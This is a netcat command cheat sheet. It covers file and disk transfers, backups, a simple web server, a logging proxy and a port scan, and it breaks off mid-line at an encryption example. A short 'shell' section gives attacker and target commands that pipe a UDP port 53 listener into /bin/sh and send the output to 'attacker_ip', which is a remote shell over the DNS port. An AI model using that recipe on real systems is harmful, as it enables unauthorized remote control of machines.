http://www.securitydocs.com/library/3376 ============= nc -h [v1.10] connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [-options] [hostname] [port] options: -e prog program to exec after connect [dangerous!!] -b allow broadcasts -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -q secs quit after EOF on stdin and delay of secs -s addr local source address -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-I/O mode [used for scanning] port numbers can be individual or ranges: lo-hi [inclusive] hyphens in port names must be backslash escaped (e.g. 'ftp\-data'). ============= 2 way communication ------------- listening system nc -l -p 1111 ------------- connecting system nc 127.0.0.1 1111 ============= remote command ------------- RX side nc -l -p 2000 -q 0 | destcmd ------------- TX side srccmd | nc -q 0 otherhost 2000 ------------- transfer compressed data nc -l -p 2000 -q 0 | gzip -d | destcmd srccmd | gzip | nc -q 0 otherhost 2000 ----- similar srccmd | ssh user@otherhost destcmd ----- file transfer with tar ... target: nc -l 3000 | tar xvf - ... source: tar -cf - . | nc target_ip 3000 ============= www server remote=server echo -e "GET http://$remote HTTP/1.0\n\n" | nc $remote 80 >/tmp/www.log ============= www server cat << EOM > /tmp/www-file
Simple WWW server V-1.0 -----------------------EOM while true do cat /tmp/www-file | nc -l -p 1500 | head --bytes 2000 >>/tmp/requests echo -e "$(date '+%F %T') =====" >>/tmp/requests done ----------------------- basic web server while `netcat -lp 8080 -c 'echo HTTP/1.0 200 OK;echo;cat file` do done ============= generic tcp proxy infile=/tmp/inflow.$$ outfile=/tmp/outflow.$$ bpipe=/tmp/backpipe.$$ mknod $bpipe p.$$ port=5900 export infile outfile bpipe port nc -l -p $port 0<$bpipe | tee -a $infile | nc localhost $port | tee -a $outfile 1>$bpipe nc -l -p 80 0<$bpipe | tee -a $infile | nc localhost 80 | tee -a $outfile 1>$bpipe Requests coming into the proxy from the client arrive at the first nc, listening on port 80. They get handed off to the "tee" command, which logs them to the inflow file, then continue on to the second nc command which hands them off to the real web server. When a response comes back from the server, it arrives back at the second nc command, gets logged in the second tee command to the outflow file, and then gets pushed into the backpipe pipe on the local filesystem. Since the first netcat is listening to that pipe, these responses get handed to that first netcat, which then dutifully gives them back to the original client. ============= backup remote system ----- server cat backup.iso | nc -l 2222 ----- client nc serv_host 2222 > backup.iso ----- monitor progress on both sides cat backup.iso | pv -b | nc -l 2222 nc serv_host 2222 | pv -b > backup.iso ----- server dd if=/dev/hdb7 | gzip -9 | nc -l 2222 ----- client nc serv_host 2222 | pv -b > hdb7partition.img.gz pv - monitor the progress of data through a pipe ----- server tar -cfz - /home | nc -l 2222 ----- client nc serv_host 2222 | pv -b > home.tgz ============= port scan nc -vvn -z 10.0.0.1 79-81 ============= shell On attacker: nc -l -u -p 53 On target: nc -u -l -p 53 | /bin/sh | nc -u attacker_ip 53 From attacker: cat | nc -u target_ip 53 ============= encrypted Machine A: cryptcat -l -p 1234 < testfile Machine B: cryptcat